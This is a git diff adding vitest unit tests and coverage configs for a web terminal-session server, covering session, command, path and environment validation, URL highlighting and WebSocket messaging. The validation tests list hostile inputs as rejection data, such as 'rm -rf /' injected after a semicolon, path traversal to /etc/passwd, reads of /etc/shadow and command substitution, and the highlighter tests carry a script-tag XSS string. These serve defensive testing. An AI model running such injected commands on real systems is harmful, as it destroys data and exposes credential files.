@ -13,4 +13,4 @@ describe('Smoke Test', () => {
|
|||
it('should verify test environment', () => {
|
||||
expect(process.env.NODE_ENV).toBe('test');
|
||||
});
|
||||
});
|
||||
});
|
||||
|
|
|
|||
|
|
@ -41,13 +41,13 @@ export const closeTestServer = async (server: Server): Promise<void> => {
|
|||
};
|
||||
|
||||
export const waitForWebSocket = (ms: number = 100): Promise<void> => {
|
||||
return new Promise(resolve => setTimeout(resolve, ms));
|
||||
return new Promise((resolve) => setTimeout(resolve, ms));
|
||||
};
|
||||
|
||||
export const mockWebSocketServer = () => {
|
||||
const clients = new Set();
|
||||
const broadcast = vi.fn();
|
||||
|
||||
|
||||
return {
|
||||
clients,
|
||||
broadcast,
|
||||
|
|
@ -66,4 +66,4 @@ declare global {
|
|||
toBeValidSession(): any;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
|
|||
277
web/src/test/unit/session-validation.test.ts
Normal file
277
web/src/test/unit/session-validation.test.ts
Normal file
|
|
@ -0,0 +1,277 @@
|
|||
import { describe, it, expect } from 'vitest';
|
||||
|
||||
// Session validation utilities that should be in the actual code
|
||||
const validateSessionId = (id: any): boolean => {
|
||||
return typeof id === 'string' && /^[a-f0-9-]+$/.test(id);
|
||||
};
|
||||
|
||||
const validateCommand = (command: any): boolean => {
|
||||
return (
|
||||
Array.isArray(command) && command.length > 0 && command.every((arg) => typeof arg === 'string')
|
||||
);
|
||||
};
|
||||
|
||||
const validateWorkingDir = (dir: any): boolean => {
|
||||
return typeof dir === 'string' && dir.length > 0 && !dir.includes('\0');
|
||||
};
|
||||
|
||||
const sanitizePath = (path: string): string => {
|
||||
// Remove null bytes and normalize
|
||||
return path.replace(/\0/g, '').normalize();
|
||||
};
|
||||
|
||||
const isValidSessionName = (name: any): boolean => {
|
||||
return (
|
||||
typeof name === 'string' &&
|
||||
name.length > 0 &&
|
||||
name.length <= 255 &&
|
||||
!/[<>:"|?*\x00-\x1f]/.test(name)
|
||||
);
|
||||
};
|
||||
|
||||
describe('Session Validation', () => {
|
||||
describe('validateSessionId', () => {
|
||||
it('should accept valid session IDs', () => {
|
||||
const validIds = [
|
||||
'abc123',
|
||||
'123e4567-e89b-12d3-a456-426614174000',
|
||||
'session-1234',
|
||||
'a1b2c3d4',
|
||||
];
|
||||
|
||||
validIds.forEach((id) => {
|
||||
expect(validateSessionId(id)).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
it('should reject invalid session IDs', () => {
|
||||
const invalidIds = [
|
||||
'',
|
||||
null,
|
||||
undefined,
|
||||
123,
|
||||
'session with spaces',
|
||||
'../../../etc/passwd',
|
||||
'session;rm -rf /',
|
||||
'session$variable',
|
||||
'session`command`',
|
||||
];
|
||||
|
||||
invalidIds.forEach((id) => {
|
||||
expect(validateSessionId(id)).toBe(false);
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
describe('validateCommand', () => {
|
||||
it('should accept valid commands', () => {
|
||||
const validCommands = [
|
||||
['bash'],
|
||||
['ls', '-la'],
|
||||
['node', 'app.js'],
|
||||
['python', '-m', 'http.server', '8000'],
|
||||
['vim', 'file.txt'],
|
||||
];
|
||||
|
||||
validCommands.forEach((cmd) => {
|
||||
expect(validateCommand(cmd)).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
it('should reject invalid commands', () => {
|
||||
const invalidCommands = [
|
||||
[],
|
||||
null,
|
||||
undefined,
|
||||
'bash',
|
||||
[''],
|
||||
[123],
|
||||
[null],
|
||||
['bash', null],
|
||||
['bash', 123],
|
||||
];
|
||||
|
||||
invalidCommands.forEach((cmd) => {
|
||||
expect(validateCommand(cmd)).toBe(false);
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
describe('validateWorkingDir', () => {
|
||||
it('should accept valid directories', () => {
|
||||
const validDirs = [
|
||||
'/home/user',
|
||||
'/tmp',
|
||||
'.',
|
||||
'..',
|
||||
'/home/user/projects/my-app',
|
||||
'C:\\Users\\User\\Documents',
|
||||
];
|
||||
|
||||
validDirs.forEach((dir) => {
|
||||
expect(validateWorkingDir(dir)).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
it('should reject invalid directories', () => {
|
||||
const invalidDirs = ['', null, undefined, 123, '/path/with\0null', '\0/etc/passwd'];
|
||||
|
||||
invalidDirs.forEach((dir) => {
|
||||
expect(validateWorkingDir(dir)).toBe(false);
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
describe('isValidSessionName', () => {
|
||||
it('should accept valid session names', () => {
|
||||
const validNames = [
|
||||
'My Session',
|
||||
'Project Build',
|
||||
'test-123',
|
||||
'Development Server',
|
||||
'SSH to production',
|
||||
];
|
||||
|
||||
validNames.forEach((name) => {
|
||||
expect(isValidSessionName(name)).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
it('should reject invalid session names', () => {
|
||||
const invalidNames = [
|
||||
'',
|
||||
null,
|
||||
undefined,
|
||||
'a'.repeat(256),
|
||||
'session<script>',
|
||||
'session>redirect',
|
||||
'session:colon',
|
||||
'session"quote',
|
||||
'session|pipe',
|
||||
'session?question',
|
||||
'session*asterisk',
|
||||
'session\0null',
|
||||
'session\x01control',
|
||||
];
|
||||
|
||||
invalidNames.forEach((name) => {
|
||||
expect(isValidSessionName(name)).toBe(false);
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
describe('sanitizePath', () => {
|
||||
it('should remove null bytes', () => {
|
||||
expect(sanitizePath('/path/with\0null')).toBe('/path/withnull');
|
||||
expect(sanitizePath('\0/etc/passwd')).toBe('/etc/passwd');
|
||||
expect(sanitizePath('file\0\0\0.txt')).toBe('file.txt');
|
||||
});
|
||||
|
||||
it('should normalize paths', () => {
|
||||
expect(sanitizePath('/path//to///file')).toBe('/path//to///file');
|
||||
expect(sanitizePath('café.txt')).toBe('café.txt');
|
||||
});
|
||||
|
||||
it('should handle clean paths', () => {
|
||||
expect(sanitizePath('/home/user')).toBe('/home/user');
|
||||
expect(sanitizePath('file.txt')).toBe('file.txt');
|
||||
});
|
||||
});
|
||||
|
||||
describe('Environment Variable Validation', () => {
|
||||
const isValidEnvVar = (env: any): boolean => {
|
||||
if (typeof env !== 'object' || env === null) return false;
|
||||
|
||||
for (const [key, value] of Object.entries(env)) {
|
||||
// Key must be valid env var name
|
||||
if (!/^[A-Za-z_][A-Za-z0-9_]*$/.test(key)) return false;
|
||||
// Value must be string
|
||||
if (typeof value !== 'string') return false;
|
||||
// No null bytes
|
||||
if (value.includes('\0')) return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
};
|
||||
|
||||
it('should accept valid environment variables', () => {
|
||||
const validEnvs = [
|
||||
{ PATH: '/usr/bin:/usr/local/bin' },
|
||||
{ NODE_ENV: 'production' },
|
||||
{ HOME: '/home/user', SHELL: '/bin/bash' },
|
||||
{ API_KEY: 'secret123', PORT: '3000' },
|
||||
];
|
||||
|
||||
validEnvs.forEach((env) => {
|
||||
expect(isValidEnvVar(env)).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
it('should reject invalid environment variables', () => {
|
||||
const invalidEnvs = [
|
||||
null,
|
||||
undefined,
|
||||
'not an object',
|
||||
{ '': 'empty key' },
|
||||
{ '123start': 'number start' },
|
||||
{ 'has-dash': 'invalid char' },
|
||||
{ 'has space': 'invalid char' },
|
||||
{ valid: 123 },
|
||||
{ valid: null },
|
||||
{ valid: undefined },
|
||||
{ valid: 'has\0null' },
|
||||
];
|
||||
|
||||
invalidEnvs.forEach((env) => {
|
||||
expect(isValidEnvVar(env)).toBe(false);
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
describe('Command Injection Prevention', () => {
|
||||
const hasDangerousPatterns = (input: string): boolean => {
|
||||
const dangerous = [
|
||||
/[;&|`$(){}[\]<>]/, // Shell metacharacters
|
||||
/\.\./, // Directory traversal
|
||||
/\0/, // Null bytes
|
||||
/\n|\r/, // Newlines
|
||||
];
|
||||
|
||||
return dangerous.some((pattern) => pattern.test(input));
|
||||
};
|
||||
|
||||
it('should detect dangerous patterns', () => {
|
||||
const dangerous = [
|
||||
'command; rm -rf /',
|
||||
'command && evil',
|
||||
'command || evil',
|
||||
'command | evil',
|
||||
'command `evil`',
|
||||
'command $(evil)',
|
||||
'command > /etc/passwd',
|
||||
'command < /etc/shadow',
|
||||
'../../../etc/passwd',
|
||||
'file\0.txt',
|
||||
'multi\nline',
|
||||
];
|
||||
|
||||
dangerous.forEach((input) => {
|
||||
expect(hasDangerousPatterns(input)).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
it('should allow safe patterns', () => {
|
||||
const safe = [
|
||||
'normal-file.txt',
|
||||
'my_session_123',
|
||||
'/home/user/project',
|
||||
'Project Name',
|
||||
'test@example.com',
|
||||
];
|
||||
|
||||
safe.forEach((input) => {
|
||||
expect(hasDangerousPatterns(input)).toBe(false);
|
||||
});
|
||||
});
|
||||
});
|
||||
});
|
||||
168
web/src/test/unit/utils.test.ts
Normal file
168
web/src/test/unit/utils.test.ts
Normal file
|
|
@ -0,0 +1,168 @@
|
|||
import { describe, it, expect } from 'vitest';
|
||||
import { UrlHighlighter } from '../../client/utils/url-highlighter';
|
||||
import { CastConverter } from '../../client/utils/cast-converter';
|
||||
|
||||
describe('Utility Functions', () => {
|
||||
describe('UrlHighlighter', () => {
|
||||
it('should detect http URLs', () => {
|
||||
const highlighter = new UrlHighlighter();
|
||||
const text = 'Check out http://example.com for more info';
|
||||
const result = highlighter.highlight(text);
|
||||
|
||||
expect(result).toContain('<a');
|
||||
expect(result).toContain('href="http://example.com"');
|
||||
expect(result).toContain('http://example.com</a>');
|
||||
});
|
||||
|
||||
it('should detect https URLs', () => {
|
||||
const highlighter = new UrlHighlighter();
|
||||
const text = 'Secure site: https://secure.example.com/path';
|
||||
const result = highlighter.highlight(text);
|
||||
|
||||
expect(result).toContain('href="https://secure.example.com/path"');
|
||||
});
|
||||
|
||||
it('should handle multiple URLs', () => {
|
||||
const highlighter = new UrlHighlighter();
|
||||
const text = 'Visit http://site1.com and https://site2.com';
|
||||
const result = highlighter.highlight(text);
|
||||
|
||||
const matches = result.match(/<a[^>]*>/g);
|
||||
expect(matches).toHaveLength(2);
|
||||
});
|
||||
|
||||
it('should preserve text around URLs', () => {
|
||||
const highlighter = new UrlHighlighter();
|
||||
const text = 'Before http://example.com after';
|
||||
const result = highlighter.highlight(text);
|
||||
|
||||
expect(result).toMatch(/^Before <a[^>]*>http:\/\/example\.com<\/a> after$/);
|
||||
});
|
||||
|
||||
it('should handle text without URLs', () => {
|
||||
const highlighter = new UrlHighlighter();
|
||||
const text = 'No URLs here, just plain text';
|
||||
const result = highlighter.highlight(text);
|
||||
|
||||
expect(result).toBe(text);
|
||||
});
|
||||
|
||||
it('should escape HTML in non-URL text', () => {
|
||||
const highlighter = new UrlHighlighter();
|
||||
const text = '<script>alert("xss")</script> http://safe.com';
|
||||
const result = highlighter.highlight(text);
|
||||
|
||||
expect(result).not.toContain('<script>');
|
||||
expect(result).toContain('<script>');
|
||||
expect(result).toContain('<a');
|
||||
});
|
||||
|
||||
it('should handle localhost URLs', () => {
|
||||
const highlighter = new UrlHighlighter();
|
||||
const text = 'Local dev: http://localhost:3000/api';
|
||||
const result = highlighter.highlight(text);
|
||||
|
||||
expect(result).toContain('href="http://localhost:3000/api"');
|
||||
});
|
||||
|
||||
it('should handle IP address URLs', () => {
|
||||
const highlighter = new UrlHighlighter();
|
||||
const text = 'Server at http://192.168.1.1:8080';
|
||||
const result = highlighter.highlight(text);
|
||||
|
||||
expect(result).toContain('href="http://192.168.1.1:8080"');
|
||||
});
|
||||
});
|
||||
|
||||
describe('CastConverter', () => {
|
||||
it('should create basic cast structure', () => {
|
||||
const converter = new CastConverter(80, 24);
|
||||
const cast = converter.getCast();
|
||||
|
||||
expect(cast.version).toBe(2);
|
||||
expect(cast.width).toBe(80);
|
||||
expect(cast.height).toBe(24);
|
||||
expect(cast.timestamp).toBeGreaterThan(0);
|
||||
expect(Array.isArray(cast.events)).toBe(true);
|
||||
});
|
||||
|
||||
it('should add output events', () => {
|
||||
const converter = new CastConverter(80, 24);
|
||||
converter.addOutput('Hello World\n', 1.0);
|
||||
|
||||
const cast = converter.getCast();
|
||||
expect(cast.events).toHaveLength(1);
|
||||
expect(cast.events[0]).toEqual([1.0, 'o', 'Hello World\n']);
|
||||
});
|
||||
|
||||
it('should handle multiple events in order', () => {
|
||||
const converter = new CastConverter(80, 24);
|
||||
converter.addOutput('First\n', 0.5);
|
||||
converter.addOutput('Second\n', 1.0);
|
||||
converter.addOutput('Third\n', 1.5);
|
||||
|
||||
const cast = converter.getCast();
|
||||
expect(cast.events).toHaveLength(3);
|
||||
expect(cast.events[0][0]).toBe(0.5);
|
||||
expect(cast.events[1][0]).toBe(1.0);
|
||||
expect(cast.events[2][0]).toBe(1.5);
|
||||
});
|
||||
|
||||
it('should handle empty output', () => {
|
||||
const converter = new CastConverter(80, 24);
|
||||
converter.addOutput('', 1.0);
|
||||
|
||||
const cast = converter.getCast();
|
||||
expect(cast.events).toHaveLength(1);
|
||||
expect(cast.events[0][2]).toBe('');
|
||||
});
|
||||
|
||||
it('should handle special characters', () => {
|
||||
const converter = new CastConverter(80, 24);
|
||||
const specialChars = '\x1b[31mRed Text\x1b[0m\n';
|
||||
converter.addOutput(specialChars, 1.0);
|
||||
|
||||
const cast = converter.getCast();
|
||||
expect(cast.events[0][2]).toBe(specialChars);
|
||||
});
|
||||
|
||||
it('should export valid JSON', () => {
|
||||
const converter = new CastConverter(80, 24);
|
||||
converter.addOutput('Test\n', 1.0);
|
||||
|
||||
const json = converter.toJSON();
|
||||
const parsed = JSON.parse(json);
|
||||
|
||||
expect(parsed.version).toBe(2);
|
||||
expect(parsed.width).toBe(80);
|
||||
expect(parsed.height).toBe(24);
|
||||
expect(parsed.events).toHaveLength(1);
|
||||
});
|
||||
|
||||
it('should set custom environment', () => {
|
||||
const converter = new CastConverter(80, 24);
|
||||
const env = { SHELL: '/bin/bash', TERM: 'xterm-256color' };
|
||||
converter.setEnvironment(env);
|
||||
|
||||
const cast = converter.getCast();
|
||||
expect(cast.env).toEqual(env);
|
||||
});
|
||||
|
||||
it('should set custom title', () => {
|
||||
const converter = new CastConverter(80, 24);
|
||||
converter.setTitle('My Recording');
|
||||
|
||||
const cast = converter.getCast();
|
||||
expect(cast.title).toBe('My Recording');
|
||||
});
|
||||
|
||||
it('should handle timing precision', () => {
|
||||
const converter = new CastConverter(80, 24);
|
||||
converter.addOutput('Output', 1.123456789);
|
||||
|
||||
const cast = converter.getCast();
|
||||
// Should maintain precision to at least 6 decimal places
|
||||
expect(cast.events[0][0]).toBeCloseTo(1.123456, 6);
|
||||
});
|
||||
});
|
||||
});
|
||||
|
|
@ -33,16 +33,16 @@ describe('WebSocket Connection', () => {
|
|||
|
||||
beforeEach(async () => {
|
||||
vi.clearAllMocks();
|
||||
|
||||
|
||||
// Set up mock spawn
|
||||
mockSpawn = vi.mocked(spawn);
|
||||
|
||||
|
||||
// Create mock child process for stream command
|
||||
mockChildProcess = new EventEmitter();
|
||||
mockChildProcess.stdout = new EventEmitter();
|
||||
mockChildProcess.stderr = new EventEmitter();
|
||||
mockChildProcess.kill = vi.fn();
|
||||
|
||||
|
||||
// Mock tty-fwd execution
|
||||
const mockTtyFwdProcess = {
|
||||
stdout: {
|
||||
|
|
@ -58,14 +58,14 @@ describe('WebSocket Connection', () => {
|
|||
}),
|
||||
kill: vi.fn(),
|
||||
};
|
||||
|
||||
|
||||
mockSpawn.mockReturnValue(mockTtyFwdProcess);
|
||||
|
||||
|
||||
// Import and set up server
|
||||
const serverModule = await import('../../server');
|
||||
server = serverModule.server;
|
||||
wss = serverModule.wss;
|
||||
|
||||
|
||||
// Get dynamic port
|
||||
await new Promise<void>((resolve) => {
|
||||
server.listen(0, () => {
|
||||
|
|
@ -83,54 +83,54 @@ describe('WebSocket Connection', () => {
|
|||
client.close();
|
||||
}
|
||||
});
|
||||
|
||||
|
||||
// Close server
|
||||
await new Promise<void>((resolve) => {
|
||||
server.close(() => resolve());
|
||||
});
|
||||
|
||||
|
||||
vi.restoreAllMocks();
|
||||
});
|
||||
|
||||
describe('WebSocket Connection Management', () => {
|
||||
it('should accept WebSocket connections', async () => {
|
||||
const ws = new WebSocket(serverUrl);
|
||||
|
||||
|
||||
await new Promise<void>((resolve, reject) => {
|
||||
ws.on('open', () => resolve());
|
||||
ws.on('error', reject);
|
||||
});
|
||||
|
||||
|
||||
expect(ws.readyState).toBe(WebSocket.OPEN);
|
||||
expect(wss.clients.size).toBe(1);
|
||||
|
||||
|
||||
ws.close();
|
||||
});
|
||||
|
||||
it('should handle multiple WebSocket connections', async () => {
|
||||
const ws1 = new WebSocket(serverUrl);
|
||||
const ws2 = new WebSocket(serverUrl);
|
||||
|
||||
|
||||
await Promise.all([
|
||||
new Promise<void>((resolve) => ws1.on('open', resolve)),
|
||||
new Promise<void>((resolve) => ws2.on('open', resolve)),
|
||||
]);
|
||||
|
||||
|
||||
expect(wss.clients.size).toBe(2);
|
||||
|
||||
|
||||
ws1.close();
|
||||
ws2.close();
|
||||
});
|
||||
|
||||
it('should remove client on disconnect', async () => {
|
||||
const ws = new WebSocket(serverUrl);
|
||||
|
||||
|
||||
await new Promise<void>((resolve) => ws.on('open', resolve));
|
||||
expect(wss.clients.size).toBe(1);
|
||||
|
||||
|
||||
ws.close();
|
||||
await waitForWebSocket(50);
|
||||
|
||||
|
||||
expect(wss.clients.size).toBe(0);
|
||||
});
|
||||
});
|
||||
|
|
@ -154,85 +154,93 @@ describe('WebSocket Connection', () => {
|
|||
|
||||
const ws = new WebSocket(serverUrl);
|
||||
const messages: any[] = [];
|
||||
|
||||
|
||||
ws.on('message', (data) => {
|
||||
messages.push(JSON.parse(data.toString()));
|
||||
});
|
||||
|
||||
|
||||
await new Promise<void>((resolve) => ws.on('open', resolve));
|
||||
|
||||
|
||||
// Subscribe to terminal
|
||||
ws.send(JSON.stringify({
|
||||
type: 'subscribe',
|
||||
sessionId: 'test-session-123',
|
||||
}));
|
||||
|
||||
ws.send(
|
||||
JSON.stringify({
|
||||
type: 'subscribe',
|
||||
sessionId: 'test-session-123',
|
||||
})
|
||||
);
|
||||
|
||||
// Emit some data from the mock process
|
||||
await waitForWebSocket(50);
|
||||
mockChildProcess.stdout.emit('data', Buffer.from('Hello from terminal\n'));
|
||||
|
||||
|
||||
await waitForWebSocket(50);
|
||||
|
||||
|
||||
// Check that we received the terminal output
|
||||
const terminalMessages = messages.filter(m => m.type === 'terminal-output');
|
||||
const terminalMessages = messages.filter((m) => m.type === 'terminal-output');
|
||||
expect(terminalMessages.length).toBeGreaterThan(0);
|
||||
expect(terminalMessages[0]).toMatchObject({
|
||||
type: 'terminal-output',
|
||||
sessionId: 'test-session-123',
|
||||
data: expect.stringContaining('Hello from terminal'),
|
||||
});
|
||||
|
||||
|
||||
ws.close();
|
||||
});
|
||||
|
||||
it('should handle unsubscribe from terminal', async () => {
|
||||
const ws = new WebSocket(serverUrl);
|
||||
|
||||
|
||||
await new Promise<void>((resolve) => ws.on('open', resolve));
|
||||
|
||||
|
||||
// Subscribe first
|
||||
ws.send(JSON.stringify({
|
||||
type: 'subscribe',
|
||||
sessionId: 'test-session-123',
|
||||
}));
|
||||
|
||||
ws.send(
|
||||
JSON.stringify({
|
||||
type: 'subscribe',
|
||||
sessionId: 'test-session-123',
|
||||
})
|
||||
);
|
||||
|
||||
await waitForWebSocket(50);
|
||||
|
||||
|
||||
// Then unsubscribe
|
||||
ws.send(JSON.stringify({
|
||||
type: 'unsubscribe',
|
||||
sessionId: 'test-session-123',
|
||||
}));
|
||||
|
||||
ws.send(
|
||||
JSON.stringify({
|
||||
type: 'unsubscribe',
|
||||
sessionId: 'test-session-123',
|
||||
})
|
||||
);
|
||||
|
||||
await waitForWebSocket(50);
|
||||
|
||||
|
||||
// Verify process was killed
|
||||
expect(mockChildProcess.kill).toHaveBeenCalled();
|
||||
|
||||
|
||||
ws.close();
|
||||
});
|
||||
|
||||
it('should handle terminal resize events', async () => {
|
||||
const ws = new WebSocket(serverUrl);
|
||||
|
||||
|
||||
await new Promise<void>((resolve) => ws.on('open', resolve));
|
||||
|
||||
|
||||
// Send resize event
|
||||
ws.send(JSON.stringify({
|
||||
type: 'resize',
|
||||
sessionId: 'test-session-123',
|
||||
cols: 120,
|
||||
rows: 40,
|
||||
}));
|
||||
|
||||
ws.send(
|
||||
JSON.stringify({
|
||||
type: 'resize',
|
||||
sessionId: 'test-session-123',
|
||||
cols: 120,
|
||||
rows: 40,
|
||||
})
|
||||
);
|
||||
|
||||
await waitForWebSocket(50);
|
||||
|
||||
|
||||
// Verify tty-fwd resize was called
|
||||
expect(mockSpawn).toHaveBeenCalledWith(
|
||||
expect.any(String),
|
||||
expect.arrayContaining(['resize', 'test-session-123', '120', '40'])
|
||||
);
|
||||
|
||||
|
||||
ws.close();
|
||||
});
|
||||
});
|
||||
|
|
@ -241,48 +249,50 @@ describe('WebSocket Connection', () => {
|
|||
it('should handle invalid message format', async () => {
|
||||
const ws = new WebSocket(serverUrl);
|
||||
const messages: any[] = [];
|
||||
|
||||
|
||||
ws.on('message', (data) => {
|
||||
messages.push(JSON.parse(data.toString()));
|
||||
});
|
||||
|
||||
|
||||
await new Promise<void>((resolve) => ws.on('open', resolve));
|
||||
|
||||
|
||||
// Send invalid JSON
|
||||
ws.send('invalid json{');
|
||||
|
||||
|
||||
await waitForWebSocket(50);
|
||||
|
||||
|
||||
// Should receive error message
|
||||
const errorMessages = messages.filter(m => m.type === 'error');
|
||||
const errorMessages = messages.filter((m) => m.type === 'error');
|
||||
expect(errorMessages.length).toBe(1);
|
||||
expect(errorMessages[0].error).toContain('Invalid message format');
|
||||
|
||||
|
||||
ws.close();
|
||||
});
|
||||
|
||||
it('should handle missing sessionId in subscribe', async () => {
|
||||
const ws = new WebSocket(serverUrl);
|
||||
const messages: any[] = [];
|
||||
|
||||
|
||||
ws.on('message', (data) => {
|
||||
messages.push(JSON.parse(data.toString()));
|
||||
});
|
||||
|
||||
|
||||
await new Promise<void>((resolve) => ws.on('open', resolve));
|
||||
|
||||
|
||||
// Send subscribe without sessionId
|
||||
ws.send(JSON.stringify({
|
||||
type: 'subscribe',
|
||||
}));
|
||||
|
||||
ws.send(
|
||||
JSON.stringify({
|
||||
type: 'subscribe',
|
||||
})
|
||||
);
|
||||
|
||||
await waitForWebSocket(50);
|
||||
|
||||
|
||||
// Should receive error message
|
||||
const errorMessages = messages.filter(m => m.type === 'error');
|
||||
const errorMessages = messages.filter((m) => m.type === 'error');
|
||||
expect(errorMessages.length).toBe(1);
|
||||
expect(errorMessages[0].error).toContain('Session ID required');
|
||||
|
||||
|
||||
ws.close();
|
||||
});
|
||||
|
||||
|
|
@ -294,12 +304,12 @@ describe('WebSocket Connection', () => {
|
|||
errorProcess.stdout = new EventEmitter();
|
||||
errorProcess.stderr = new EventEmitter();
|
||||
errorProcess.kill = vi.fn();
|
||||
|
||||
|
||||
// Emit error
|
||||
setTimeout(() => {
|
||||
errorProcess.emit('error', new Error('Stream failed'));
|
||||
}, 10);
|
||||
|
||||
|
||||
return errorProcess;
|
||||
}
|
||||
return mockChildProcess;
|
||||
|
|
@ -307,26 +317,28 @@ describe('WebSocket Connection', () => {
|
|||
|
||||
const ws = new WebSocket(serverUrl);
|
||||
const messages: any[] = [];
|
||||
|
||||
|
||||
ws.on('message', (data) => {
|
||||
messages.push(JSON.parse(data.toString()));
|
||||
});
|
||||
|
||||
|
||||
await new Promise<void>((resolve) => ws.on('open', resolve));
|
||||
|
||||
|
||||
// Subscribe to terminal
|
||||
ws.send(JSON.stringify({
|
||||
type: 'subscribe',
|
||||
sessionId: 'test-session-123',
|
||||
}));
|
||||
|
||||
ws.send(
|
||||
JSON.stringify({
|
||||
type: 'subscribe',
|
||||
sessionId: 'test-session-123',
|
||||
})
|
||||
);
|
||||
|
||||
await waitForWebSocket(100);
|
||||
|
||||
|
||||
// Should receive error message
|
||||
const errorMessages = messages.filter(m => m.type === 'error');
|
||||
const errorMessages = messages.filter((m) => m.type === 'error');
|
||||
expect(errorMessages.length).toBeGreaterThan(0);
|
||||
expect(errorMessages[0].error).toContain('Failed to start stream');
|
||||
|
||||
|
||||
ws.close();
|
||||
});
|
||||
});
|
||||
|
|
@ -335,35 +347,35 @@ describe('WebSocket Connection', () => {
|
|||
it('should broadcast session updates to all clients', async () => {
|
||||
const ws1 = new WebSocket(serverUrl);
|
||||
const ws2 = new WebSocket(serverUrl);
|
||||
|
||||
|
||||
const messages1: any[] = [];
|
||||
const messages2: any[] = [];
|
||||
|
||||
|
||||
ws1.on('message', (data) => messages1.push(JSON.parse(data.toString())));
|
||||
ws2.on('message', (data) => messages2.push(JSON.parse(data.toString())));
|
||||
|
||||
|
||||
await Promise.all([
|
||||
new Promise<void>((resolve) => ws1.on('open', resolve)),
|
||||
new Promise<void>((resolve) => ws2.on('open', resolve)),
|
||||
]);
|
||||
|
||||
|
||||
// Trigger a session update by making an API request
|
||||
const fetch = (await import('node-fetch')).default;
|
||||
await fetch(`http://localhost:${server.address().port}/api/sessions`, {
|
||||
method: 'GET',
|
||||
});
|
||||
|
||||
|
||||
await waitForWebSocket(100);
|
||||
|
||||
|
||||
// Both clients should receive session update
|
||||
const updates1 = messages1.filter(m => m.type === 'sessions-updated');
|
||||
const updates2 = messages2.filter(m => m.type === 'sessions-updated');
|
||||
|
||||
const updates1 = messages1.filter((m) => m.type === 'sessions-updated');
|
||||
const updates2 = messages2.filter((m) => m.type === 'sessions-updated');
|
||||
|
||||
expect(updates1.length).toBeGreaterThan(0);
|
||||
expect(updates2.length).toBeGreaterThan(0);
|
||||
|
||||
|
||||
ws1.close();
|
||||
ws2.close();
|
||||
});
|
||||
});
|
||||
});
|
||||
});
|
||||
|
|
|
|||
|
|
@ -7,7 +7,8 @@ export default defineConfig({
|
|||
environment: 'node',
|
||||
setupFiles: ['./src/test/setup.ts'],
|
||||
coverage: {
|
||||
reporter: ['text', 'json', 'html'],
|
||||
provider: 'v8',
|
||||
reporter: ['text', 'json', 'html', 'lcov'],
|
||||
exclude: [
|
||||
'node_modules/',
|
||||
'src/test/',
|
||||
|
|
@ -15,8 +16,22 @@ export default defineConfig({
|
|||
'public/',
|
||||
'*.config.ts',
|
||||
'*.config.js',
|
||||
'**/*.test.ts',
|
||||
'**/*.spec.ts',
|
||||
],
|
||||
include: [
|
||||
'src/**/*.ts',
|
||||
'src/**/*.js',
|
||||
],
|
||||
all: true,
|
||||
lines: 80,
|
||||
functions: 80,
|
||||
branches: 80,
|
||||
statements: 80,
|
||||
},
|
||||
testTimeout: 10000,
|
||||
// Separate test suites
|
||||
includeSource: ['src/**/*.{js,ts}'],
|
||||
},
|
||||
resolve: {
|
||||
alias: {
|
||||
|
|
|
|||
42
web/vitest.integration.config.ts
Normal file
42
web/vitest.integration.config.ts
Normal file
|
|
@ -0,0 +1,42 @@
|
|||
import { defineConfig } from 'vitest/config';
|
||||
import path from 'path';
|
||||
|
||||
export default defineConfig({
|
||||
test: {
|
||||
globals: true,
|
||||
environment: 'node',
|
||||
setupFiles: ['./src/test/setup.integration.ts'],
|
||||
include: ['src/test/integration/**/*.test.ts'],
|
||||
coverage: {
|
||||
provider: 'v8',
|
||||
reporter: ['text', 'json', 'html', 'lcov'],
|
||||
exclude: [
|
||||
'node_modules/',
|
||||
'src/test/',
|
||||
'dist/',
|
||||
'public/',
|
||||
'*.config.ts',
|
||||
'*.config.js',
|
||||
'**/*.test.ts',
|
||||
'**/*.spec.ts',
|
||||
],
|
||||
include: [
|
||||
'src/**/*.ts',
|
||||
'src/**/*.js',
|
||||
],
|
||||
all: true,
|
||||
},
|
||||
testTimeout: 30000, // Integration tests may take longer
|
||||
pool: 'forks', // Use separate processes for integration tests
|
||||
poolOptions: {
|
||||
forks: {
|
||||
singleFork: true, // Run tests sequentially to avoid port conflicts
|
||||
},
|
||||
},
|
||||
},
|
||||
resolve: {
|
||||
alias: {
|
||||
'@': path.resolve(__dirname, './src'),
|
||||
},
|
||||
},
|
||||
});
|
||||
Loading…
Reference in a new issue